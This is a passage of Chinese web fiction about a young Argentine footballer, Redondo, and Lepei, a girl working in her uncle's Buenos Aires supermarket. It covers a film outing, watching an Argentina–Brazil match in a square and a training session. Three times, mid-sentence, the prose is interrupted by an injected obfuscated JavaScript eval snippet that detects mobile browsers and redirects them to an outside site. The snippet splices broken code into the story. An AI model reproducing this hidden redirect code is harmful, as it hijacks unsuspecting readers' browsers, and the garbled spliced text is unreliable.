在走进黑漆漆的放映厅时,雷东多想到了乐佩在黑暗中看不清东西的毛病,一回生二回熟,他转身伸手,乐佩也不多计较,这次轮到她的手握在雷东多的手腕上了。 在电影角色仿佛唱歌一般的台词声中,雷东多没有错过乐佩在身后时那声轻轻的“谢谢”,他尽量放松被拉着的那条胳膊,不同于他马上要出汗的手心,乐佩的手指还带着布宜诺斯艾利斯冬天的温度。 等他们终于在座位上坐定,女主角朱丽叶刚刚出场,引起了观众短暂的议论。 饰演她的奥丽维娅赫西当年只有十七岁,大屏幕上的脸青春逼人,完整地展现了朱丽叶的美丽天真,怪不得罗密欧会对她一见钟情,她完美符合大家想象中莎士比亚女主的样子。 乐佩总算知道婶婶上午为什么那么说了,大荧幕上的朱丽叶同样有一头长而柔顺的头发,虽然没有戴发带而是一顶金色小帽,但从正面看和她今天的发型确实有点像,乐佩的注意总是不自觉地被朱丽叶的头发吸引。 雷东多居然也是第一次看这个电影,他当然知道这个故事的大概情节,只是这种有点拧巴的青少年爱情不够对他的胃口。今天在电影院从头看起,居然慢慢看了进去,为莎士比亚的台词所吸引。 不过他也发现朱丽叶的发型有点眼熟,雷东多微微侧头,乐佩就坐在他身边,专注地看着大屏幕,偶尔拿爆米花喂进嘴里,发现吃爆米花有声音的时候,咀嚼的动作都放轻了,两腮一鼓一鼓的。 她不会像朱丽叶那样,雷东多在乐佩感觉到之前收回视线,扔掉这个不好的联想,乐佩很聪明,她的大好人生才刚刚开始呢。 电影拍的很棒,哪怕乐佩听不懂很多台词,她也大概知道每一幕这些人都在干什么。 而且听不懂话或许是件好事,偶尔几句简单的台词,肉麻地让她鸡皮疙瘩都掉下来了。很多人说莎士比亚的台词很优美,可惜她实在感觉不到。 在罗密欧和朱丽叶相继殉情之后,电影结束,放映厅的大灯重新亮起来,他们不着急离开,先解决掉只剩一点的爆米花。 “罗密欧太冲动了,既然他最开始已经拒绝了决斗,说明他知道杀死朱丽叶堂兄这件事是不可挽回的,但他最后还是动手了。”乐佩嘎吱嘎吱地说,听上去还在为可怜的小情侣遗憾。 雷东多不觉得罗密欧真的能避免被放逐的命运,“是朱丽叶的堂兄挑衅在先,还杀了他的朋友,如果这样罗密欧还能忍住不动手,那他也就不是爬上阳台向朱丽叶告白的罗密欧了。” “对于有的人来说,坚持自己看中的东西,比作出大家都认为正确的选择更重要,”雷东多似乎真是这么想的,一口气说完才意识到自己现在并不在辩论,跟着找补了一句,“只要他日后不后悔的话......” “后悔也没关系,”乐佩被雷东多说服了,“很多人嘴上说着后悔,再来一次大概还是会做出同样的选择。” 这样想来年轻人的意气用事也没有那么糟糕了,错误的是蒙太古和卡普雷特两家的世仇罢了。 零食桶里最后一点爆米花也被扫荡干净,他们一边穿外套一边往外走,相比于乐佩对罗密欧莽撞的吐槽,雷东多更遗憾于小情侣就为了爱情草草结束了生命,“现实中很少有人将爱情看的这么重要,大概这也是这个故事这么出名的原因吧。” “也许对朱丽叶来说爱情还有其他的含义吧,她早晚会想要离开这个强迫她的家,罗密欧只是她选择的一种生活,她真正想要的是决定自己的人生?” 听上去这是个问句,乐佩却说的十分笃定,好像这句话说的不只是朱丽叶一样。雷东多迎上她灼灼的目光,点了点头,“你说得对,朱丽叶的人生当然是她自己的。” 晚上七点吃饭的时候,胡安老板已经在频频看表了,等过了七点半,他更是时不时就要去门口转一圈,老板娘根本懒得管他,“你都说了最晚8点,现在着急有什么用?” “那是最晚!谁知道他们敢真的玩到8点?” 他们确实敢,在时针整整指向8的时候,雷东多载着乐佩终于回到超市门口,胡安老板门神一样站在门口,看着两人挥手告别。 “谢谢你带我们家乐佩出去玩。”他对着雷东多假笑一下,亲亲热热地揽着乐佩回了超市。 “小佩玩的怎么样?叔叔给的钱够不够花?” 当然够,她甚至还剩了一点,乐佩放下手里买的书,拎出一个包装盒,“这是我在餐厅打包的小蛋糕,给叔叔婶婶吃。” 一天都气不顺的胡安老板终于被哄好了,吃蛋糕的时候还连连夸乐佩贴心,老板娘也很感动,当然她更关心的是乐佩白天玩的怎么样。 “我们去了书店,也看了电影,还路过了好几个漂亮的广场,就是没什么人。”乐佩还说到他们的晚饭,“吃了很多没吃过的,餐厅里还有驻唱。” “味道怎么样,好吃吗?” 乐佩抿嘴,“还可以吧。”她不是会嫌弃饭难吃的人,顿顿吃饱的日子还没过几年呢,但有一盘肉的酱汁味道实在古怪,还有沙拉,看着好大一盆,总感觉不像是给人吃的东西。 但意大利面味道很棒,还有甜甜的蘑菇汤,她不爱吃的那些刚好都被雷东多解决了,一点不浪费,所以总的来说这顿饭吃的还是很开心。 “这臭小子,请你吃饭都没说吃好一点,”叔叔皱起眉头,嘴里吃着的蛋糕都不香了,“我们一会儿去给你下碗面,这个蛋糕也吃一点。” 乐佩没有拒绝,不过叔叔有句话说的不对,“其实是我请了客,菜也是我点的......”不好吃怪不到雷东多头上。 “他居然让你请客——”叔叔差点没有控制住嗓门,他一直以为雷东多这小子没安好心,用美食蛊惑他亲爱的小侄女,但要是让乐佩掏钱,听上去就好像更过分了。 “你不是一直担心乐佩被占便宜吗?现在乐佩请回来了,你怎么又不高兴?”婶婶物理制止了叔叔的惊讶,但她其实也很惊讶,“小费居然同意吗?”这不应该啊?按照她对雷东多这些年的了解,还有对阿根廷人的了解。 乐佩被这个外号逗得笑了一会儿,“他最开始确实不同意,但我说下次吃饭的时候等他请我,他就没说什么。” “还有下次?”胡安老板短促地叫了一声,继续抑郁地蹲到角落长蘑菇去了,婶婶没理他,拉着乐佩进了房间,语重心长地解释,“是小费邀请你出去玩的,在这边确实是他该请你才对。” 其实在哪儿都是这个道理,乐佩的同学们每次出去玩也都是攒局的人请客,不过两个人的时候乐佩没想那么多,她今天终于能出得起钱请朋友吃饭了,而且花的是叔叔给她发的工钱而不是别的,一晚上她都在为这件事开心,现在见婶婶这样,她终于有点不安了。 “我以为是他请我看电影,我请他吃饭,这样不对吗?” “婶婶不是那个意思,”老板娘连连摆手,“你这样算得清也很好,以后才不会生矛盾,不过我估计小费可能没那么开心,我还以为他喜欢你呢。” 婶婶语出惊人,乐佩却没与太惊讶,她不是笨蛋,当然知道雷东多看她的眼神和普通朋友不一样。 学生时代乐佩没有遇到另一个像这样的男生,她长得漂亮,但家境一般,尤其家里不在乎她,几乎全班都知道,再加上学习成绩最好被老师重点关照,所以班上有些人眉来眼去,还有同学退学回去结婚,这些都和她没什么关系。 雷东多是最特别的那个,她现在还能回忆起下午两人一见面时,那句“你真漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“用了,”雷东多从包里掏出CD机,突然不太想还,“这个我拿着,给你买个新的可以么?” 难道连这种有关系的小玩意儿也想留着?这就有点太过了,莱昂纳多觉得自己必须干预一下,让弟弟不要太过于沉溺其中,好姑娘又不是只有一个。 “不可以,这是我前女友送给我的东西。” “那你还留着干嘛?”雷东多没想到自己会被拒绝,“我给你买个一模一样的。” 他不知道自己越是这样越证明随身听的珍贵,他的形象在哥哥眼里就越可怜一分,莱昂纳多当然更不能让步,“你买不到一模一样的,已经停产了。” 雷东多啧了一声,懒得听哥哥的鬼话,当着他的面打开了CD机,“那你知道这个东西是怎么读碟放出声音的吗?” “因为厂家就是这么造的......不是,你为什么问这些,还不赶快还我——你在干什么?” 莱昂纳多眼睁睁地看着雷东多把他的CD机大卸八块,话都说不明白了,“就算,就算我不想送给你,你也不用这样威胁我吧!你要干嘛?” “谁威胁你了,”雷东多没好气地瞪他,然后指着一个个零件,讲出它们的作用,虽然有些已经记不清了,但反正莱昂纳多也不懂,听不出他在胡说。 莱昂纳多的表情已经从震惊变成了茫然,偶尔机械地答应一声表示自己在听,直到雷东多又把CD机装好,他才咽了咽口水,“这个随身听你留着吧,我自己去买新的......你都是在哪儿学到这些的?” “今天。” “你不是去约会了吗?你带着姑娘去干什么了?” 雷东多看着哥哥一副世界观受到冲击的样子,抑郁的心情一扫而空,“我早就说了,我不是去约会。” 11.信笺(11) 在万分不情愿放任臭小子约乐佩出去玩之后,胡安老板以为雷东多就此消停,不会再有什么挑战他神经的行为,接下来雷东多也确实没干什么,只是每天按时出现在超市里给他贡献销售额,顺便和乐佩有说有笑地聊一会儿。 ‘这样也很过分了。’胡安老板在心里碎碎念,当然他是绝对不会承认自己无聊到盯着侄女交朋友,而且事实上他没有真的阻拦过什么,就连偷看都保证不会让乐佩发现。 好景不长,三天后雷东多提前出现在超市里,照例径直去找在货架间工作的乐佩,胡安老板没能发现他。 乐佩已经习惯每天都和雷东多聊天了,甚至开始期待,今天也不例外。“下午好啊费尔南多,今天怎么这么早,一会儿你有事吗?” 雷东多点点头保持沉默,正在贴价签的乐佩当然没看到他的小动作,以为雷东多没有听见自己说话,一抬头对上他略带兴奋的目光。 “一会儿有美洲杯的比赛,阿根廷和巴西,你想去看吗?” “啊,我吗?”乐佩捋了捋额头散下来的碎发,雷东多的邀请太过自然,让人完全意识不到这该是他们的第二次‘约会’,乐佩还记得上次他磨叽了好久,今天这是怎么了? “去哪里看?应该不是现场吧!我记得叔叔说美洲杯在巴西?” 乐佩笑出了声,带着雷东多也笑了,之前的故作淡定全都消失不见,“是的,比赛在里约热内卢,不过两条街区外的小广场有投影,只要想大家都可以过去看。” 乐佩想去看,她对足球本身没有太多兴趣,只是在布宜诺斯艾利斯的这一个月被狂热的足球氛围感染了,而且雷东多是足球运动员,和他一起看的感受肯定跟和叔叔他们不一样,乐佩也想多了解一点雷东多的事。 “比赛马上就要开始了吗?只是我得先干完活。”她有些为难地看向手里那一把价签,“不知道叔叔会不会同意我去看比赛?” “要我同意什么?” 胡安老板鬼鬼祟祟地从货架尽头探出脑袋,一点没有自己刚才在偷听的不好意思,“你们想出去玩吗?” “额——”乐佩正要解释,雷东多抢先一步,“下午好胡安先生,我想邀请乐佩去布雷诺广场看比赛,可以吗?” 布雷诺广场离超市很近,每次阿根廷有重大的国家队赛事都会在布宜诺斯艾利斯的许多街区放露天投影直播,尤其像今天阿根廷和巴西这样重要的比赛。胡安老板自己去那边看过球,知道广场所在的街区治安条件很好,而且现在还不到晚饭时间,单纯看比赛的话很安全。 要不是看在乐佩一脸“我想去”的份上,他本来一定要拒绝的!胡安老板冷哼了一声,难头一次对乐佩强硬起来,“你先把手头的工作做完再说。” 乐佩手里拿着一大把促销标签,往常这些活走走停停可以干小半天,她发愁地看向雷东多,“比赛几点开始?我还要把这些全都换好才行。” 雷东多一点都不着急,尽管他们只剩半个多小时了,他试探性地接过夹着促销表格的夹板,“让我来帮忙吧。” 乐佩高兴地答应了,有了雷东多的帮助,在表格上找数字的速度快了许多,一排货架只用了平时一半的时间就处理好了。 胡安老板在他们换到下一个货架前过来赶人,他拿走乐佩手里的价签,一脸心烦地挥手,“好了好了,快去玩吧!”帅气的小伙子和漂亮的姑娘凑在一起认真干活的场面很和谐,就是对他的心脏不太好。 因为比赛快要开始了,乐佩只穿了外套就跟着雷东多出了门,都没来得及照镜子,回想起上次出门前婶婶拉着她折腾了好半天,真是两个极端。 她趁着雷东多不注意放慢脚步,偷偷用街边的玻璃橱窗照了照,看上去还不错,然后她从橱窗里看到雷东多回头看了过来,乐佩假装什么事都没发生,放下别头发的手,加快脚步,“快走吧,不是说要迟到了吗?” 雷东多想到自己上次的感叹乐佩没有听懂,默默把那句“不用担心,你这样也很好看”咽了回去。 布雷诺广场面积不大,只坐了百十来号人就已经满满当当。最外围有人注意到他们,一半目光去看雷东多,像是有些眼熟,一半目光在乐佩身上停留,大概觉得他们这样的组合很奇怪。 乐佩有点不自在,雷东多也是一样,已经在阿根廷青年人首发的未来之星,在布宜诺斯艾利斯多少有点知名度,但他可不想被人认出来。 他领着乐佩坐在了广场最后草坪边缘的大树下,要是换到别的街区,树上肯定早就坐着好动的年轻球迷了。 “这是四强阶段的第二轮比赛,四支队伍各自都要和其他三个对手踢比赛,最后看胜负积分决出冠军和名次。” 趁着比赛开始之前,雷东多将美洲杯的具体情况讲给乐佩听,阿根廷是夺得美洲杯冠军数第二多的国家,这届比赛开始的时候球迷都对国家队充满期待,但现在看来好像巴西的夺冠势头更盛。 “第一轮就在三天前,我们已经0比2输给了乌拉圭,而巴西赢了它的对手,所以今天这场比赛如果阿根廷继续输掉的话,就不可能拿冠军了。” 乐佩似懂非懂地点头,她只知道这场比赛有阿根廷,而阿根廷人肯定都希望能赢下来,不管对手是谁。 投影的大屏幕上运动员开始进场,本就嘈杂的广场上声音更大了,一大片穿着10号蓝白色球衣的球迷站起来为国家队欢呼,有人比赛还没开始就已经喝上了头,在人堆里歪歪斜斜地挤来挤去,引出一大片抱怨声。 乐佩庆幸他们坐在最后远离这些麻烦,虽然有时候会被挡住视线。她侧过头,雷东多和那些球迷相比淡定多了,只是兴致勃勃地为她介绍每一个出现在镜头里的阿根廷国脚,乐佩盯着他的嘴一张一合,除了马拉多纳谁都没记住。 马拉多纳也不是这次才记住的,她之前听叔叔念叨过这个名字,几年前世界杯的时候,她哥哥好像也发疯似的对这个人着迷过,还在自己的床头贴了马拉多纳的照片,当然,这次来阿根廷之前哥哥有说过让她给自己买球衣,这件事早就被乐佩当成放屁一样,被风吹走了。 乐佩看向屏幕,这里的马拉多纳和那张照片里进球后庆祝的样子有点区别,现在他正在唱国歌,表情很严肃。 黑色卷发的男人在阿根廷有巨大的影响力,前排那些兴奋的球迷扬起胳膊,像一排排快要被风吹走的塑料袋,和她哥哥的蠢样子没有太大区别,乐佩悄悄撇了撇嘴。 雷东多没有表现得太夸张,不过他同样尊敬这个三年前带领阿根廷队拿到世界杯冠军的矮个子男人,并且向往有一天能和他一起为国效力。 “这是10号,迭戈·马拉多纳,现役最伟大的阿根廷球员,当然我觉得可以算上退役的那些,”雷东多没有说太多夸赞的话,只是客观地点评两句,“他是场上这支阿根廷队的灵魂。” 乐佩一本正经地点点头,侧头凑近他,“你也会像他这样有固定的号码吗?你是几号?” 原以为乐佩会问马拉多纳的雷东多咳了两声,定在原地,耳朵尖悄悄红了,“我在俱乐部的号码下赛季还会变,我希望以后有机会能穿上5号或者6号球衣,这是我的位置最好的数字。” 球场上的位置和对应号码又是一个可以讲很久的话题,雷东多比比划划地和乐佩说了半天,直到比赛开始也没停。话题里牵扯了不少专业足球术语,雷东多想不出对应的英文单词,每遇到一个还要想办法解释,这么多信息老实说乐佩什么都没记住,但不妨碍她听得高兴。 如果只听布雷诺广场上球迷的声音,根本听不出来上半场两支球队一个球都没有进。因为一直在聊天,还有从超市带来的小零食(当然是雷东多抢着买了单),乐佩不算无聊,她只是可惜没看到进球。 中场休息的时候,球迷们看上去心情都不错,乐佩今天才是第一次清晰地看到阿根廷球员穿的球衣是蓝白色的条纹,而不是小电视里模糊的浅色色块,所以她当然看不懂场上的局势,只是猜测阿根廷队是不是马上就要进球了。 雷东多摇摇头,他是真的看了比赛,虽然认真程度还不及往常一半。 “比拉尔多的战术已经不适合这支阿根廷队了,352的阵容被完全针对,巴西人都知道阿根廷的所有指挥全部依赖马拉多纳,所以只需要盯防住他一个人,阿根廷队其他人没办法自己应付巴西队的罗马里奥和贝贝托,防守非常狼狈。” 乐佩拉长音“oh”了一声,什么都没听懂,她只觉得雷东多说那几个名字的口音和英语不一样,怪可爱的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867584|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 雷东多听着乐佩的语气不太对劲,他终于从足球世界中回过神来,意识到自己好像说得太多,乐佩不一定对这些感兴趣。 他仿佛看到莱昂纳多就站在眼前,恨铁不成钢地吐槽他,“不要在追姑娘的时候说那么多足球的事,姑娘们这想看你踢足球,不想听你讲足球课!” 这不能怪他,以前他认识的姑娘从来不耐烦听和足球相关的话题,而乐佩一直表现地像是想要继续听下去,所以他才没忍住...... 雷东多忍不住在心里为自己辩解,他趁着吃零食的时候侧头去看乐佩,好吧,他看不出乐佩是不是真的喜欢自己说这些,只看出乐佩在草地上坐得不太舒服,短短几分钟挺了两次后背。 “坐过来吧,乐佩,这里有树,靠着会舒服一点。” 这棵树不是很宽,靠两个人不一定够。乐佩犹豫了一下,答应了。 她坐到雷东多身边,两个人的胳膊靠在一起,一瞬间乐佩心头涌出一股奇怪的感觉,但她没有挪开胳膊,雷东多也没有。 背后的大树在嘈杂的广场上为他们隔出了一小片空间,他们两个似乎都很喜欢这样坐着,仿佛一直不说话也没关系。 过了好久,雷东多才开口打破了沉默,“抱歉,我刚才是不是说太多了?” “没有啊,”乐佩接过他递给自己的小蛋糕,一本正经地指向屏幕,“我听懂了,你不喜欢现在阿根廷队的主教练。” “咳,我们一般不这么说,我只是觉得他有点保守过头了。”雷东多作为日后想进国家队的球员,绝对不会直白地承认乐佩说中了他的心思,“我相信你看懂这场比赛了。” 乐佩笑眯眯地扬了扬下巴,看上去像只骄傲的猫咪。 下半场雷东多悲观的预测很快应验,开场不到一分钟罗马里奥就进球了,打破了阿根廷队艰难维持了45分钟的均势。 乐佩等到了自己想要的进球,可惜不是阿根廷队得分,吵闹了好久的布雷诺广场陷入了沉默,之前快要被风吹走的“塑料单”们死气沉沉地落回到地面上。 雷东多看上去也不太高兴,乐佩伸出手指戳了戳他的肩膀,“虽然我知道你应该不会相信,但是比赛还没结束,说不定你们的球队马上就进球了呢?” 雷东多的视线从乐佩戳他的手指上飘过,“除非教练换人,不然巴西队只能进的更多。” 很快他的乌鸦嘴再度应验,三年前带领阿根廷队拿下过世界杯冠军的教练比拉尔多像所有冠军教头一样固执,拒绝换人调整,只是站在替补席前指点江山,十分钟后,罗马里奥再进一球,进一步拉开比分差距。 “阿根廷恐怕没办法拿到冠军了,巴西队整体实力更强。”雷东多说出了心中早就有的猜测,只是猜测真得到应验还是不太让人高兴。 乐佩只知道刚才那颗进球很漂亮,穿着黄色球衣的黑小伙离球门还有那么老远呢,这皮球就像装了定位系统一样飞进了球门里,真厉害。 他们没能继续在广场上把比赛看完,输了两个球之后现场不少球迷都很激动,叫骂声越来越响,靠近屏幕的位置还有人动了手,这让乐佩没办法再专心看比赛,雷东多想到一脸不爽的胡安老板,决定提前送她回家。 冬天的落日将半片天空都染成浓烈的橘红色,阳光不算刺眼,两人并排走着,身后会拖出长长的影子。 乐佩还在想刚才的比赛,今天看过之后,她确定自己对半天进不了一个球的足球比赛没有什么兴趣,只是雷东多讲的有意思而已,而且阿根廷的球迷们真是疯狂,让人不能理解。 不过她还是想知道这场比赛的结果,“要是现在阿根廷队进了球,那我们没看到岂不是太可惜了。” “不会的,如果我们进了球,这条街绝对不会像现在这么安静。”雷东多叹了口气,“其实我希望有一天我能赢下这个奖杯。” “那你需要先入选国家队才行。” 两人不约而同地停下脚步,雷东多转向乐佩,“你觉得我可以入选吗?” “我不知道。” 雷东多听见这个答案,露出猝不及防的表情。乐佩笑了,脸颊上有两个浅浅的梨涡,雷东多主动了两次,她也应该主动一点了。“我觉得我要看过你踢球才能知道。” 12.信笺(12) 胡安老板看到乐佩回来的时候,发现比赛还没结束,他假笑着打发走在门口道别的雷东多,转头就换上关心的表情,“怎么提前回来了,玩得不开心?” “没有,阿根廷丢球了,那边好像要打起来,所以我们就先回来了。” “那倒是,每次要输球总会闹一场。”头顶电视上阿根廷的进球数仍然是零,比赛还剩几分钟,巴西国旗旁边的数字是2还是3不再重要,胡安老板变回愤怒的球迷,“阿根廷队踢得太臭了,都是活该!” “嗯......”乐佩看上去没太听见他的话,默默飘到收银台后面,拿起水杯又开始发呆,突然嘿嘿笑一下。胡安老板再次变脸,这小姑娘他一看就知道,人是回来了,还知道要干活,魂其实还在外面飘着呢。 “小佩!你怎么不说话?” “哦!”乐佩猛地回神,手里的水杯犹豫着放下,“换价签的活,我这就去!” 她手忙脚乱地又飘到货架区去了,根本没注意到自己没有拿价签盒,胡安老板响亮地哼了一声,“我已经把活干完了,你去厨房找你婶婶吧,晚饭快好了!” 吃饭的时候叔叔臭着一张脸,婶婶不理他,好奇地问乐佩和雷东多看比赛玩的怎么样,乐佩乖乖吃饭,只说她学到了很多足球知识。 “小费只和你聊足球?这小伙子。”婶婶连连摇头,失去了八卦的欲望。 乐佩替他解释了一句,“我觉得还蛮有趣......”这么说话真叫人脸红,因为只有雷东多解释的部分有意思,足球真是没什么意思。 她的思绪不自觉地飘回刚刚回超市的路上,雷东多听到她表示想要去看他踢球后,愣了一会儿,没说行也没说不行,直愣愣地转头就走,这让主动的乐佩有点后悔。 只是当她追上去说“如果不行的话也没关系”时,雷东多几乎是打断了她的话。“当然可以......我们马上要开始下半个赛季的训练了,到时候会有公开训练,应该很快,一周之后就可以。” 张口的时候,雷东多的眼睛里闪过一丝失态的局促,下一秒他立刻调整好情绪,语气也不再急切。 只是乐佩没有错过那一瞬间雷东多的小表情,从两人分开后到现在,那一幕就像放电影一样在乐佩眼前过了一遍又一遍,害得她嘴角总是不自觉地想要翘起来。 美洲杯在五天后结束,巴西的第三场比赛也顺利拿下,毫无悬念地成为冠军,阿根廷因为连续两场的糟糕成绩,哪怕第三场终于扳回一局,也只能屈居第三,排在乌拉圭后面。 布宜诺斯艾利斯的低气压又持续了两三天,当时间进入八月,冬季进入末尾的时候,这座美丽的海滨城市才重新焕发了一些活力。 乐佩没有被阿根廷人的失魂落魄影响到,她如今在超市的各种工作都已经得心应手,能听懂的西班牙语句子又多了几个,每天除了干活、看小说,她又多了一项消遣,猜测雷东多会不会出现。 雷东多最多只隔一天就会出现,通常是捡胡安老板不在前台的时候,他会和乐佩聊天,各自身边发生的琐碎小事也说得津津有味,乐佩讲她遇到形形色色的客人,她也知道雷东多最近忙着交一篇作业,因为踢球没好好上课的大学生写论文写得很痛苦。 在胡安老板回来前的短暂时间,他们还会被婶婶赶去街上压马路,超市门口这条宽敞大街上的店铺几乎让他们逛了个遍,这里的特价店也会用大喇叭喊全场五折,报刊亭把有着俊男美女做封面的杂志都摆在最外面。 有一次乐佩注意到雷东多在超市角落的橱窗外探头探脑向里观察,乐佩悄悄抬手和他打招呼,雷东多和她对视,从身后变出一支花。 乐佩趁着叔叔没看这边,一溜烟跑了出去。 “可惜这个季节没有向日葵,所以我买了这个,你喜欢吗?”雷东多将花递给她,似乎只是想要分享一束亲眼所见的美丽,没有别的意思。 “她真好看,”乐佩转着手里被细致包装的这支花,不像一般的花只开一朵,花枝上上下下有五六朵紫白色的小花,重重叠叠攒聚在一起,变成一个华丽的花冠,她没听懂这束花的名字,不影响她爱不释手。 “这是你在街角那家花店买的吗?谢谢你费尔南多,我很喜欢。” 胡安老板在找乐佩了,她只好就这么回去,雷东多目送着她进了超市,叔叔看向她的时候将花藏在身后,知道雷东多在窗外,花束调皮地晃了晃,等叔叔说完话离开,乐佩进了收银台,顺手将花放在了只有她自己能看到的地方。 他应该多买几支的,等他不担心被胡安老板发现的时候。雷东多默默地想着,从超市外离开了。 八月的第二个星期,阿根廷青年人队恢复了严肃的赛前集训,有几天是公开训练,队员们习惯于被人围观,而且这里的公开训练没什么人看,不像欧洲的那些大俱乐部,外圈围满了吵闹的球迷和准备挑事的记者。 这天公开训练前,队友们注意到雷东多在平时就很细致准备的基础上龟毛了更多,他好几次对着镜子整理头发,球袜也拉的服服帖帖,不像别人护腿板乱翘、鞋舌外翻着。 几个和雷东多差不多大的小年轻窃窃私语:“什么情况,今天有谁会来看吗?球探?”“谁知道呢,如果是球探那费尔南多确实要好好准备,不过和我们没关系。” 雷东多走进训练场,场边的低矮看台上零零散散地坐着几个球迷,看见他们出来,站到最前排的隔离网外,喊叫着冲他们打招呼。 他不经意地打量几眼,没有看到乐佩,好看的眉头皱了皱。 训练时间很长,或许她一会儿会来呢?就算没来也没什么,还是专心训练吧。雷东多的念头转了又转,他觉得自己有点小题大作了。 训练开始后,雷东多确实没心思想这些了。先是日常的带球练习、小范围传接球训练,然后是一场分组对抗。 人高马大又好好打扮的雷东多在队友之间非常显眼,丑丑的分组背心套在身上也不影响他的形象,后腰位置总会面对来自四面八方的逼抢,他带球两步就能轻松化解,只用身子就能抗住其他人的大动作,脚下从容地将球传到前方队友的脚边。 几次精彩的传递帮助队友进球后,场边传来球迷喊各种名字的欢呼,“雷东多”在其中很突出,几个年轻女孩儿又蹦又跳,发现雷东多朝他们看过来的时候声音更大了。 雷东多的眼神越过她们,扫向后排,隔着网格装的防护网,他遥遥看到看台上坐着一个姑娘,看不清脸,但是很像乐佩,然后那个姑娘朝他招手,他确定那就是乐佩,哦,旁边还坐着胡安老板。 “哟呵,你看小费还蛮受欢迎耶,这么多姑娘都喜欢他,一个个还长得好漂亮。”胡安老板看着前面那群叽叽喳喳的女球迷,在乐佩耳边唠唠叨叨。 叔叔的语气很好玩,乐佩笑了一声又赶快憋住,“大概因为他确实踢得很好,让所有人都忍不住去看他。” 乐佩看不懂他们的战术配合,只知道只要雷东多拿到球,其他人都无法阻止他的下一步动作,原本在人群里穿来穿去找不到方向的皮球,只要被他碰一下,立刻就飞到门前去了。 平日里她见到的雷东多亲切有礼貌,善于交谈,相处起来让人愉快,偶尔的小表情很鲜活。而现在球场上的雷东多自信从容,大声指挥着身边的队友,仿佛掌控着整场比赛,和以往很不一样。 这样的雷东多让乐佩觉得很新鲜,又觉得并不割裂,好像雷东多天生就该有这样一面,优秀强大,足球是他引以为傲的人生目标。 乐佩印象中那个总是微笑着看她的雷东多,变成了在球场上恣意奔跑的雷东多,让她移不开眼睛。 “咳咳!”胡安老板不得不打断她的思绪,这小丫头不错眼地盯着场上那个臭小子,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872218|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像什么话?“你能看懂吗就说他踢得好,穿粉背心的9号进了两个球,他也是个帅小伙子。” 那是因为雷东多给他传了好球。乐佩听话地去看那个前锋,确实也还算帅,笑起来很阳光......嘴有点太大,他又接到雷东多的传球了,这脚传得真漂亮。 训练在11点半结束,球员们陆陆续续离场,看台上的球迷千呼万唤,有人会过来给他们签名。雷东多的名字是被喊得最多的那几个,可惜他在训练一结束就径直回更衣室去了,根本没听见这些呼喊。 居然还能这样?乐佩和叔叔又看了一会儿球员和球迷的互动,才慢慢往外走。“他们要这些签名做什么?” “真球迷会拿回去收藏,你看有些人的球衣上有那么多签名,都是慢慢收集的。不过也有人是为了拿出去卖钱,欧洲顶级俱乐部球星的签名能卖好多钱。” 叔叔炫耀起他混到的马拉多纳签名,又和乐佩开玩笑,“你该让小费给你签几件球衣,他以后肯定有出息要到欧洲去,到时候这种早年在阿根廷的签名肯定是最稀罕的,能赚好一笔。” 乐佩想起那些球迷姑娘身上好像鲜切牛肉一样的球衣,“衣服太难看了,我估计卖不了太多。”而且她已经有签名了,在那本已经学完的西班牙语书上。 训练场在俱乐部内部,球迷们散场向外走时,路边都有铁围栏,防止有人从这里闯到俱乐部其他地方。路上没什么人,他们路过更衣室所在的三层小楼时,侧边的门突然打开,雷东多小跑过来。 胡安老板响亮地啧了一声,不情不愿地向前走了几步,给两个小年轻留下说话的空间。 雷东多已经洗了澡,身上是淡淡的香水味。湿漉漉的头发散了两缕在额前,又被他抿到耳后,“我看到你今天来了,你觉得......训练其实没什么意思,还是比赛更有趣一点。” “我觉得很好啊,看到你踢球之后,我感觉我渐渐能看懂一点足球了。你们每天都这样训练吗?” 乐佩说得真情实感,雷东多的眼神飘忽了一下,刚刚在训练场上教练说他状态保持地比其他人更好,下半赛季会给他更多时间。现在听到乐佩这句夸赞的心情和当时又有不同。 “对,有时我们也有室内的训练课,主要讲战术布置,这些都是为比赛做准备。”他顿了顿,“现在你觉得我能入选国家队了吗?” 都是这个问题才让乐佩今天过来看他训练,乐佩点点头,穿球衣的雷东多天生就适合更大的舞台,“我觉得你绝对没问题。” 雷东多笑了,“其实训练说明不了什么,还要看球场上的发挥,下周末我们就有比赛了,我们球员每个人都能分到不少门票,你想去看的话,我可以给你拿两张。” 乐佩没有顺势答应,像她前几次答应他的邀请那样。她为难地迟疑两秒,笑容看着有点勉强,“抱歉费尔南多,我下周四就要回家去上学了。” 莱昂纳多照例在傍晚开车来接弟弟回家聚餐,过去两周自从弟弟和那个神秘CD破坏者女孩儿出去过一次(而且不是约会)之后,他家的小费尔心情一天比一天美好。 他确信费尔南多后来还出去过几次,一定还是原来那个姑娘,而且后来他都不反驳自己说‘约会’这个词了,看样子进展喜人。 今天他一定要趁着吃饭的时候好好八卦一下,莱昂纳多这样想着,然后就等到了臭着脸不想和人说话的费尔南多。 